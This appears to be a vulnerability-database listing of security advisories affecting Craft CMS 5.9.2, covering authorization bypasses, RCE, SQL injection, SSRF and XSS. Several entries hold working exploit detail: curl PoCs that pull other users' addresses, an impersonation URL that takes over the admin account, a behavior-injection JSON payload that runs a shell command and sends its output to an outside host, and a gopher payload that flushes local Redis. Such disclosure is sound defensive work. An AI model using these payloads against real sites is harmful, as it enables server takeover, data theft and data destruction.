Search for packages
| purl | pkg:composer/craftcms/cms@5.9.2 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-41uv-1axm-fugb
Aliases: CVE-2026-44010 GHSA-gj2p-p9m4-c8gw |
Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure ### Summary The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. ### Details Every GraphQL element resolver in Craft CMS applies schema scope filtering via `GqlHelper::extractAllowedEntitiesFromSchema()` when handling top-level queries, except the Address resolver. The only gate check for addresses is `canQueryUsers()` (`src/gql/queries/Address.php`, line 30), which is a binary check. It returns `true` if the token has access to *any* user group. Once past this gate, no further filtering is applied. ### PoC **Tested on:** CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) **Prerequisites:** A GraphQL API token with read access to any single user group ### Environment - Two user groups: `publicUsers` (in token scope) and `internalTeam` (NOT in scope) - 5 internal executives with corporate addresses (internalTeam) - 3 public customers with personal addresses (publicUsers) - GQL token scoped to `publicUsers:read` only **Step 1:** Introspect the schema to discover the `addresses` query is available to this token. Issue the below curl command ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" /> The token can see `addresses`, `entries`, `users` as top-level queries. **Step 2:** Enumerate Address fields to identify PII exposure surface. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" /> > Exposed fields include: `fullName`, `firstName`, `lastName`, `addressLine1/2/3`, `locality`, `postalCode`, `countryCode`, `organization`, `organizationTaxId`, `latitude`, `longitude`. > **Step 3:** Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the `publicUsers` group. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" /> Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible. **Step 4:** Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" /> <img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" /> ▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs > **All 10 addresses returned.** The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs: > > - Sarah Chen, 4200 Executive Plaza Dr, SF — Horizon Dynamics Inc. (TaxID: 82-4917263) > - James Whitfield, 89 Kensington High St, London — Whitfield Capital Partners LLP (TaxID: GB927461038) > - Maria Rossi, 15 Via della Conciliazione, Roma — Rossi & Bianchi Avvocati (TaxID: IT04829173651) > - David Nakamura, 2-11-3 Meguro, Tokyo — Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835) > - Elena Voronova, 27 Universitätsstrasse, Zurich — Voronova Biotech AG (TaxID: CHE-384.291.057) --- **Step 5:** Targeted IDOR - extract a specific internal user’s address by owner ID. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1902" height="365" alt="image" src="https://github.com/user-attachments/assets/b7c6d5cf-295a-433a-a76c-2b69815968cd" /> > Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 — SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data. ## Impact ### Who is Impacted Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions. ### Risk - Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups. - Targeted extraction via IDOR: The `ownerId` argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access. - Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue. - Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case. ## AI Disclosure This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting. All findings were verified against a local Docker instance of Craft CMS 5.9.17. ## Resources https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128 |
Affected by 0 other vulnerabilities. |
|
VCID-4wkr-jx1w-77hn
Aliases: CVE-2026-31857 GHSA-fp5j-j7j4-mcxc |
CraftCMS has an RCE vulnerability via relational conditionals in the control panel A Remote Code Execution vulnerability exists in the Craft CMS 5 conditions system. The `BaseElementSelectConditionRule::getElementIds()` method passes user-controlled string input through `renderObjectTemplate()` -- an unsandboxed Twig rendering function with escaping disabled. Any authenticated Control Panel user (including non-admin roles such as Author or Editor) can achieve full RCE by sending a crafted condition rule via standard element listing endpoints. This vulnerability requires no admin privileges, no special permissions beyond basic control panel access, and bypasses all production hardening settings (allowAdminChanges: false, devMode: false, enableTwigSandbox: true). Users should update to the patched 5.99 release to mitigate the issue. |
Affected by 18 other vulnerabilities. |
|
VCID-5tzm-738x-xka9
Aliases: CVE-2026-32263 GHSA-qx2q-q59v-wf3j |
Craft CMS vulnerable to behavior injection RCE via EntryTypesController The fix for GHSA-7jx7-3846-m7w7 (commit 395c64f0b80b507be1c862a2ec942eaacb353748) only patched `src/services/Fields.php`, but the same vulnerable pattern exists in `EntryTypesController::actionApplyOverrideSettings()`. In `src/controllers/EntryTypesController.php` lines 381-387: ```php $settingsStr = $this->request->getBodyParam('settings'); parse_str($settingsStr, $postedSettings); $settingsNamespace = $this->request->getRequiredBodyParam('settingsNamespace'); $settings = array_filter(ArrayHelper::getValue($postedSettings, $settingsNamespace, [])); if (!empty($settings)) { Craft::configure($entryType, $settings); ``` The `$settings` array from `parse_str` is passed directly to `Craft::configure()` without `Component::cleanseConfig()`. This allows injecting Yii2 behavior/event handlers via `as ` or `on ` prefixed keys, the same attack vector as the original advisory. You need Craft control panel administrator permissions, and `allowAdminChanges` must be enabled for this to work. An attacker can use the same gadget chain from the original advisory to achieve RCE. Users should update to Craft 5.9.11 to mitigate the issue. |
Affected by 14 other vulnerabilities. |
|
VCID-6ban-jvfq-w3at
Aliases: CVE-2026-33051 GHSA-3x4w-mxpf-fhqq |
Craft CMS Vulnerable to Stored XSS in Revision Context Menu The revision/draft context menu in the element editor renders the creator’s `fullName` as raw HTML due to the use of `Template::raw()` combined with `Craft::t()` string interpolation. A low-privileged control panel user (e.g., Author) can set their fullName to an XSS payload via the profile editor, then create an entry with two saves. If an administrator is logged in and executes a specifically crafted payload while an elevated session is active, the attacker’s account can be elevated to administrator. Users should update to Craft 5.9.11 with the patch to mitigate the issue. |
Affected by 14 other vulnerabilities. |
|
VCID-83rt-3tyj-qbgx
Aliases: CVE-2026-32267 GHSA-cc7p-2j3x-x7xf |
Craft CMS Vulnerable to Privilege Escalation/Bypass through UsersController->actionImpersonateWithToken() ### Summary A low-privilege user (or an unauthenticated user who has been sent a shared URL) can escalate their privileges to admin by abusing `UsersController->actionImpersonateWithToken`. Affected users should update to Craft 4.17.6 and 5.9.12 to mitigate the issue. ### Details This vulnerability allows any low-privilege user to escalate their privileges and become an admin, or, in extreme circumstances, unprivileged users to do the same. Therefore, this vulnerability affects Craft Pro and Team more than Craft Solo. Specifically, an attacker who possesses a valid “preview token” can then append `&action=users/impersonate-with-token&userId=1&prevUserId=1` to the preview URL to hijack the request into the impersonation endpoint, logging in as any user (including admin) without authentication. Getting the preview token is easy, and all an editor would have to do is create a single article, click “Preview”, and then recover this token. Here’s what happens: 1. The action re-dispatch in `actionPreview()` passes `$skipSpecialHandling=true` to `handleRequest()`, bypassing all security guards, and passes `$checkToken=false` to `checkIfActionRequest()`, which allows an attacker-controlled action query parameter to override the dispatch target. 2. The `requireToken()` guard on `actionImpersonateWithToken()` only checks a boolean (`_hadToken`) that was set when the preview token was initially resolved. It does not verify that the token was intended for the impersonation action, and so any valid token from any route satisfies the check. 3. `actionImpersonateWithToken` is listed in `$allowAnonymous` and performs no authorization beyond `requireToken()`, so no prior authentication is required. ### PoC The PoC achieves full admin takeover on the latest Craft CMS 5.9.10. Spawn a local version of Craft. Then, you’ll want to log in and create a valid setup: 1. Log in at http://host:18895/admin 2. Go to Settings, Sections, New Section (name: "Blog", type: "Channel") 3. Under Site Settings, set URI Format to blog/{slug} 4. Then go to Entries, New Entry, Blog, and give it any title Next, obtain a preview token 1. Open the saved entry in the editor 2. Click the Preview button 3. A preview pane opens with the entry rendered in an iframe 4. Right-click inside the preview pane and Inspect Element 5. Find the <iframe> element; its src contains the tokenized URL: `http://host:18895/blog/title?x-craft-live-preview=...&token=XXXXXXXX` 6. Copy the `token=` value Finally, execute the exploit: 1. Open a new incognito/private browser window 2. Navigate to: `http://host:18895/?token=XXXXXXXX&action=users/impersonate-with-token&userId=1&prevUserId=1` 3. You may see a 404. This is expected. To verify the exploit, in the same incognito tab, navigate to `http://host:18895/admin`. You should land on the admin dashboard, logged in as admin, without ever entering credentials. ### Impact Privilege escalation; everyone is impacted. |
Affected by 13 other vulnerabilities. |
|
VCID-9ca4-tbhq-27ad
Aliases: CVE-2026-44011 GHSA-qrgm-p9w5-rrfw |
Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list. This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original. The request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path. We were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path: ``` POST /admin/actions/element-search/search HTTP/2 Host: hostnamehere Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...; Content-Length: … User-Agent: Mozilla/5.0 X-Csrf-Token: ... Accept: application/json Content-Type: application/json { "elementType": "craft\\elements\\Category", "siteId": 1, "search": "", "condition": { "class": "craft\\elements\\conditions\\ElementCondition", "elementType": "craft\\elements\\Category", "fieldLayouts": [ { "as rce": { "__class": "yii\\behaviors\\AttributeTypecastBehavior", "__construct()": [ { "attributeTypes": { "typecastBeforeSave": [ "Psy\\Readline\\Hoa\\ConsoleProcessus", "execute" ] }, "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)"" } ] }, "on *": "self::beforeSave" } ] } } ``` ## Resources https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3 |
Affected by 0 other vulnerabilities. |
|
VCID-a8p2-5cmc-n7g2
Aliases: CVE-2026-41128 GHSA-jq2f-59pj-p3m3 |
Craft CMS has a Missing Authorization Check on User Group Removal via save-permissions Action ## Summary The `actionSavePermissions()` endpoint allows a user with only `viewUsers` permission to remove arbitrary users from all user groups. While `_saveUserGroups()` enforces per-group authorization for additions, it performs no equivalent authorization check for removals, so submitting an empty `groups` value removes all existing group memberships. ## Affected Versions - Craft CMS 5.6.0 through 5.9.14 (latest release at time of report) - Regression introduced in 5.6.0 when the `viewUsers` permission was added - Prior to 5.6.0, `editedUser()` required `editUsers`, which implicitly protected this endpoint - Requires Pro edition or higher (the vulnerable code path is gated by `CmsEdition::Pro`) ## Vulnerability Details ### Root Cause This is a **regression** introduced in Craft CMS 5.6.0 when the `viewUsers` permission was added. Before that change, `editedUser()` required `editUsers` permission for accessing other users’ data, which implicitly protected `actionSavePermissions()`. After the change, `actionSavePermissions()` became reachable for users with read-only access to other users, but the underlying group-saving logic still lacked authorization for group removals. The vulnerability has two components: 1. **`actionSavePermissions()` reachable with read-only access**: The action only requires a control panel request and delegates to `editedUser()`, which now only checks `viewUsers` — a permission explicitly documented as "read-only access to user elements." 2. **Asymmetric authorization in `_saveUserGroups()`**: The method checks `assignUserGroup` permission only when **adding** a user to a new group. When the `groups` parameter is an empty string (resulting in an empty array), the loop is skipped entirely, no authorization checks are run, and all group memberships are removed. ### Prerequisites - Attacker has a control panel account with `accessCp` and `viewUsers` permissions only - Target user belongs to one or more user groups that grant additional permissions - Pro edition or higher ### Attack Steps 1. Attacker authenticates to the Control Panel 2. Attacker sends a POST request to `actions/users/save-permissions` with: - `userId` = target user's ID - `groups` = `` (empty string) 3. All group memberships for the target user are removed 4. All permissions inherited from those groups are immediately revoked ### Impact - **Privilege revocation**: An attacker can strip group-based permissions from arbitrary users, including accounts whose effective access derives from group membership - **Denial of access**: Users lose access to sections, volumes, and features that were granted through group membership - **Bypass of elevated session requirement**: Group removal does not trigger `requireElevatedSession()` (which is only triggered when new groups are added) |
Affected by 3 other vulnerabilities. |
|
VCID-asek-4gme-gug8
Aliases: CVE-2026-44012 GHSA-33m5-hqp9-97pw |
Craft CMS's Missing Volume Permission Check in AssetsController::actionShowInFolder Allows Information Disclosure ## Summary `AssetsController::actionShowInFolder()` fetches an asset by ID and returns its filename and complete folder hierarchy (including volume handle, volume UID, folder names, folder UIDs, and folder URI paths) without checking whether the requesting user has `viewAssets` or `viewPeerAssets` permission on the asset’s volume. Any authenticated CP user — even one with zero volume permissions — can enumerate asset filenames and the full folder structure of any volume by supplying arbitrary asset IDs. This follows the exact same incomplete-patch pattern as four GHSAs merged on 2026-02-25 (GHSA-x76w-8c62-48mg, GHSA-vgjg-248p-rfm2, GHSA-5pgf-h923-m958, GHSA-3pvf-vxrv-hh9c), all of which added `requireVolumePermissionByAsset()` + `requirePeerVolumePermissionByAsset()` to sibling AssetsController actions. The `actionShowInFolder` method was introduced thirteen days before the patch wave and was not included in it. ## Details The vulnerability is in `src/controllers/AssetsController.php` at line 1437. The method: 1. Calls `requireCpRequest()` — verifies the request targets the CP, enforces `accessCp` permission via `Controller::_enforceAllowAnonymous()`, but does NOT enforce any volume-level permission. 2. Fetches any asset by ID with `Asset::findOne($assetId)` — no `editable`/`savable` scope filter, so all assets across all volumes are reachable. 3. Returns sensitive structural data via JSON. ## Impact - Any authenticated control panel user with only `accessCp` permission can discover the filenames and complete folder structure (names, UIDs, handles, URIs) of assets in volumes they are not authorized to access. - Sensitive volume structures — private document repositories, confidential media, internal file names — are exposed to any user who can log into the control panel. - This enables targeted follow-up attacks: an attacker who knows a private asset’s filename and folder path may have other avenues to exfiltrate the actual file. ## Resources https://github.com/craftcms/cms/commit/e3f3eaab3d85badd713cfc2c24e5f0792ecdb586 |
Affected by 0 other vulnerabilities. |
|
VCID-bqep-3c6u-mqhu
Aliases: CVE-2026-33157 GHSA-2fph-6v5w-89hh |
Craft CMS is Vulnerable to Authenticated Remote Code Execution via Malicious Attached Behavior ## Summary A Remote Code Execution (RCE) vulnerability exists in Craft CMS 5.x and 4.x that bypasses the security fixes for GHSA-7jx7-3846-m7w7 and GHSA-255j-qw47-wjh5. This vulnerability can be exploited by any authenticated user with control panel access. The existing patches add `cleanseConfig()` to `assembleLayoutFromPost()` and various `FieldsController` actions to strip Yii2 behavior/event injection keys (`as ` and `on ` prefixed keys). However, the `fieldLayouts` parameter in `ElementIndexesController::actionFilterHud()` is passed directly to `FieldLayout::createFromConfig()` without any sanitization, enabling the same behavior injection attack chain. ## Impact - **Attack Type**: Remote Code Execution (RCE) - **Authentication Required**: Authenticated user with control panel access (`accessCp` permission) ## Vulnerability Details ### Root Cause In `ElementIndexesController::actionFilterHud()` (line 493-494), the `fieldLayouts` body parameter is passed to `FieldLayout::createFromConfig()` without `cleanseConfig()`: ```php // ElementIndexesController.php:485-494 if ($conditionConfig) { $conditionConfig = Component::cleanseConfig($conditionConfig); // conditionConfig IS cleansed $condition = $conditionsService->createCondition($conditionConfig); } else { $condition = $this->elementType()::createCondition(); } if (!empty($fieldLayouts)) { // fieldLayouts is NOT cleansed! $condition->setFieldLayouts(array_map( fn(array $config) => FieldLayout::createFromConfig($config), $fieldLayouts )); } ``` Note the inconsistency: `conditionConfig` is sanitized with `cleanseConfig()`, but `fieldLayouts` is not. ### Attack Chain 1. Send a `fieldLayouts` array containing config with `"as <name>"` prefixed keys 2. `FieldLayout::createFromConfig($config)` -> `new self($config)` -> `Model::__construct($config)` 3. `App::configure($this, $config)` processes each key 4. `"as rce"` key -> `Component::__set("as rce", $value)` -> `Yii::createObject($value)` -> instantiates `AttributeTypecastBehavior` and attaches it to the FieldLayout 5. `"on *"` key -> registers a wildcard event handler 6. `parent::__construct()` -> `init()` -> `setTabs([])` -> `getAvailableNativeFields()` -> `trigger(EVENT_DEFINE_NATIVE_FIELDS)` 7. The wildcard handler fires -> `AttributeTypecastBehavior::beforeSave()` -> `typecastAttributes()` 8. `$this->owner->typecastBeforeSave` -> resolved via `Component::__get()` -> returns the command string from the behavior's own property 9. `call_user_func([ConsoleProcessus::class, 'execute'], $command)` -> `shell_exec($command)` ### Prerequisites - A user account with control panel access |
Affected by 12 other vulnerabilities. |
|
VCID-e94m-mj1k-8kbr
Aliases: CVE-2026-41129 GHSA-3m9m-24vh-39wx |
Server-Side Request Forgery (SSRF) in Craft CMS with Asset Uploads Mutations ## Required Permissions The exploitation requires a few permissions to be enabled in the used GraphQL schema: * "Edit assets in the <VolumeName> volume" * "Create assets in the <VolumeName> volume" ## Details The implementation fails to restrict the URL Scheme. While the application is intended to "upload assets", there is no whitelist forcing `http` or `https`. This allows attackers to use the Gopher protocol to wrap raw TCP commands. **Impact:** Combined with the DWORD bypass, an attacker can hit internal services without triggering any "127.0.0.1" string-matching filters. **Example Payload:** gopher://2130706433:6379/_FLUSHALL (Targets local Redis via DWORD). **Remediation Strategy** To prevent mathematical IP obfuscation, the application must normalize the hostname before validation. |
Affected by 3 other vulnerabilities. |
|
VCID-eaxm-rjr7-xudb
Aliases: CVE-2026-33159 GHSA-6mrr-q3pj-h53w |
Craft CMS: Unauthenticated Users Can Perform Restricted Project Config Sync Operations ### Summary Guest users can access Config Sync updater `index`, obtain signed `data`, and execute state-changing Config Sync actions (`regenerate-yaml`, `apply-yaml-changes`) without authentication. ### Details `ConfigSyncController` extends `BaseUpdaterController`, and the base updater is anonymously accessible for control panel requests. `index` emits signed updater state (`data`), which can be reused by guests in subsequent requests. Sensitive actions that are reachable via this method are `actionApplyYamlChanges`, `actionRegenerateYaml`, `applyExternalChanges`, and `regenerateExternalConfig`. #### Reproduction steps 1. Guest POST to: http POST /admin/actions/config-sync/index 2. Extract data from returned JS state: Craft.updater = ... setState({"data":"<signedData>", ...}); 3. Reuse data as a guest: ``` POST /admin/actions/config-sync/regenerate-yaml data=<signedData>&<csrfParam>=<csrfToken> ``` or ``` POST /admin/actions/config-sync/apply-yaml-changes data=<signedData>&<csrfParam>=<csrfToken> ``` 4. Observe completed response and state/file changes. ### Impact Unauthenticated users can execute project configuration sync operations that should be restricted to trusted admin/deployment contexts. Depending on the pending YAML/config state, this can cause unauthorized config state transitions and a service integrity risk. ### Resources https://github.com/craftcms/cms/commit/7f0ead833f7 |
Affected by 6 other vulnerabilities. |
|
VCID-efwv-r3nc-73h9
Aliases: CVE-2026-32262 GHSA-472v-j2g4-g9h2 |
Craft CMS has a Path Traversal Vulnerability in AssetsController The `AssetsController->replaceFile()` method has a `targetFilename` body parameter that is used unsanitized in a `deleteFile()` call before `Assets::prepareAssetName()` is applied on save. This allows an authenticated user with `replaceFiles` permission to delete arbitrary files within the same filesystem root by injecting `../` path traversal sequences into the filename. This could allow an authenticated user with `replaceFiles` permission on one volume to delete files in other folders/volumes that share the same filesystem root. This only affects local filesystems. Users should update to Craft 4.17.5 or 5.9.11 to mitigate the issue. |
Affected by 14 other vulnerabilities. |
|
VCID-fpke-p7sz-nfc9
Aliases: CVE-2026-33160 GHSA-5pgf-h923-m958 |
Craft CMS may expose private assets through anonymous "generate transform" calls via transform URL ### Summary An unauthenticated user can call `assets/generate-transform` with a private `assetId`, receive a valid transform URL, and fetch transformed image bytes. The endpoint is anonymous and does not enforce per-asset authorization before returning the transform URL. ### Details Root cause: - Anonymous endpoint accepts user-controlled asset reference. - It creates and returns a transform URL for that asset without checking access rights. - If the transform output is reachable, guest users can read content derived from private assets. Who is impacted: - Installations where private source assets can be transformed and transform URLs are reachable. Security consequence: - Anonymous users can obtain content derived from private assets without authentication. ### Resources https://github.com/craftcms/cms/commit/7290d91639e |
Affected by 6 other vulnerabilities. |
|
VCID-gzry-xtu5-ukhu
Aliases: CVE-2026-41130 GHSA-95wr-3f2v-v2wh |
Craft CMS has a host header injection leading to SSRF via resource-js endpoint ### Summary The `resource-js` endpoint in Craft CMS allows unauthenticated requests to proxy remote JavaScript resources. When `trustedHosts` is not explicitly restricted (default configuration), the application trusts the client-supplied Host header. This allows an attacker to control the derived `baseUrl`, which is used in prefix validation inside `actionResourceJs()`. By supplying a malicious Host header, the attacker can make the server issue arbitrary HTTP requests, leading to Server-Side Request Forgery (SSRF). ### Details The vulnerability exists in `AppController::actionResourceJs()`. The function validates that the `url` parameter starts with `assetManager->baseUrl`. However, `baseUrl` is derived from the current request host. If `trustedHosts` is not configured, the Host header is fully attacker-controlled. Attack chain: 1. Attacker sends request with controlled `Host` header. 2. Application derives `baseUrl` from the malicious Host. 3. `url` parameter is required to start with this `baseUrl`. 4. Validation passes. 5. Guzzle performs a server-side HTTP request to the attacker-controlled host. 6. SSRF occurs. This does not rely on string parsing bypass. It relies on Host header trust. ### PoC (safe reproduction steps) Environment: - Craft CMS 5.9.12 - Default configuration (no trustedHosts restriction) - Docker deployment 1. Start a listener inside the container: python3 -m http.server 9999 2. Send a request to resource-js with a controlled Host header. 3. Observe that the internal listener receives a request (OOB confirmation). |
Affected by 3 other vulnerabilities. |
|
VCID-hyct-5gap-7kdu
Aliases: CVE-2026-29113 GHSA-vg3j-hpm9-8v5v |
Craft CMS has a potential information disclosure vulnerability in preview tokens Craft CMS has a CSRF issue in the preview token endpoint at `/actions/preview/create-token`. The endpoint accepts an attacker-supplied `previewToken`. Because the action does not require POST and does not enforce a CSRF token, an attacker can force a logged-in victim editor to mint a preview token chosen by the attacker. That token can then be used by the attacker (without authentication) to access previewed/unpublished content tied to the victim’s authorized preview scope. --- |
Affected by 20 other vulnerabilities. |
|
VCID-jnrx-e9b5-wqew
Aliases: CVE-2026-33162 GHSA-f582-6gf6-gx4g |
Craft CMS has an authorization bypass which allows any control panel user to move entries without permissions ### Summary An authenticated control panel user with only accessCp can move entries across sections via POST `/actions/entries/move-to-section`, even when they do not have `saveEntries:{sectionUid}` permission for either source or destination section. ### Details #### Root-cause analysis 1. actionMoveToSection accepts sectionId and entryIds, loads entries, and iterates: `Craft::$app->getEntries()->moveEntryToSection($entry, $section)`. 2. The endpoint does not enforce per-entry or per-section authorization checks. 3. `moveEntryToSection()` also does not enforce current-user authorization. 4. There is a permission check in `actionMoveToSectionModalData` for building UI options, but that check is not enforced in the actual endpoint. 5. Therefore, a direct POST request can bypass UI filtering and perform unauthorized entry moves. ### Impact * This is an authorization bypass permitting unauthorized content changes. * Authenticated low-privileged control panel users can move entries they should not be able to manage, violating integrity and potentially disrupting routing/editorial controls. |
Affected by 6 other vulnerabilities. |
|
VCID-nmzu-mefv-tqeh
Aliases: CVE-2026-33161 GHSA-vgjg-248p-rfm2 |
Craft CMS' anonymous "assets/image-editor" calls return private asset editor metadata to unauthorized users ### Summary A low-privileged authenticated user can call `assets/image-editor` with the ID of a private asset they cannot view and still receive editor response data, including `focalPoint`. The endpoint returns private editing metadata without per-asset authorization validation. Root-cause analysis: 1. `actionImageEditor()` accepts `assetId` from the request body. 2. The asset is loaded, and the focal-point data is read. 3. Response returns `html` and `focalPoint`. 4. No explicit authorization check is applied before the response. ### Impact ## Affected deployments: * Craft sites where asset edit metadata should remain restricted to authorized users. ## Security consequence: * Unauthorized users can extract private editor metadata and related editor context for inaccessible assets. |
Affected by 6 other vulnerabilities. |
|
VCID-p3n8-1sht-bfbt
Aliases: CVE-2026-31859 GHSA-fvwq-45qv-xvhv |
CraftCMS vulnerable to reflective XSS via incomplete return URL sanitization The fix for CVE-2025-35939 in `craftcms/cms` introduced a `strip_tags()` call in `src/web/User.php` to sanitize return URLs before they are stored in the session. However, `strip_tags()` only removes HTML tags (angle brackets) -- it does not inspect or filter URL schemes. Payloads like `javascript:alert(document.cookie)` contain no HTML tags and pass through `strip_tags()` completely unmodified, enabling reflected XSS when the return URL is rendered in an `href` attribute. |
Affected by 20 other vulnerabilities. |
|
VCID-pgm4-svq8-tfc5
Aliases: CVE-2026-31858 GHSA-g7j6-fmwx-7vp8 |
CraftCMS's `ElementSearchController` Affected by Blind SQL Injection The `ElementSearchController::actionSearch()` endpoint is missing the `unset()` protection that was added to ElementIndexesController in [GHSA-2453-mppf-46cj](https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj). The exact same SQL injection vulnerability (including `criteria[orderBy]`, the original advisory vector) works on this controller because the fix was never applied to it. Any authenticated control panel user (no admin required) can inject arbitrary SQL via `criteria[where]`, `criteria[orderBy]`, or other query properties, and extract the full database contents via boolean-based blind injection. Users should update to the patched 5.9.9 release to mitigate the issue. |
Affected by 18 other vulnerabilities. |
|
VCID-rzq4-h1ms-nqef
Aliases: CVE-2026-32264 GHSA-4484-8v2f-5748 |
Craft CMS vulnerable to behavior injection RCE ElementIndexesController and FieldsController The fix for https://github.com/advisories/GHSA-7jx7-3846-m7w7 (commit https://github.com/craftcms/cms/commit/395c64f0b80b507be1c862a2ec942eaacb353748) only patched `src/services/Fields.php`, but the same vulnerable pattern exists in `ElementIndexesController` and `FieldsController`. You need Craft control panel administrator permissions, and allowAdminChanges must be enabled for this to work. An attacker can use the same gadget chain from the original advisory to achieve RCE. Users should update to Craft 4.17.5 and 5.9.11 to mitigate the issue. |
Affected by 14 other vulnerabilities. |
|
VCID-sa99-8awj-eycd
Aliases: GHSA-44px-qjjc-xrhq |
Craft CMS: Authorized asset "preview file" requests bypass allows users without asset access to retrieve private preview metadata ### Summary An authenticated low-privileged user can call `assets/preview-file` for an asset they are not authorized to view and still receive preview response data (`previewHtml`) for that private asset. The returned preview HTML included a private preview image route containing the target private `assetId`, even though `canView` was `false` for the attacker account. ### Details 1. `assets/preview-file` accepts a maliciously controlled `assetId` and renders preview output. 2. The action does not enforce per-asset view authorization prior to returning preview content. 3. As a result, an authenticated user without asset-view permission can still obtain private preview output. This affects Craft installations with authenticated users of mixed privilege levels with private assets. ### Resources - d30df3112220db1ffd6726a3ed11857014c7fb27 - b1cddf72c98a |
Affected by 6 other vulnerabilities. |
|
VCID-tzjk-x116-ayge
Aliases: CVE-2026-33158 GHSA-3pvf-vxrv-hh9c |
Craft CMS: Low-privilege users could read private asset contents when editing an asset (IDOR) ### Summary A low-privileged authenticated user can read private asset content by calling `assets/edit-image` with an arbitrary `assetId` that they are not authorized to view. The endpoint returns image bytes (or a preview redirect) without enforcing a per-asset view authorization check, leading to potential unauthorized disclosure of private files. ### Details Root cause: - A user-controlled object reference (`assetId`) is used to load and return sensitive content. - The action does not verify whether the current user is authorized to view that asset. - This creates an authenticated IDOR / authorization bypass. ### Impact - Craft installations where private/non-public assets exist and low-privileged users can authenticate. ## Resources https://github.com/craftcms/cms/commit/7290d91639e |
Affected by 6 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||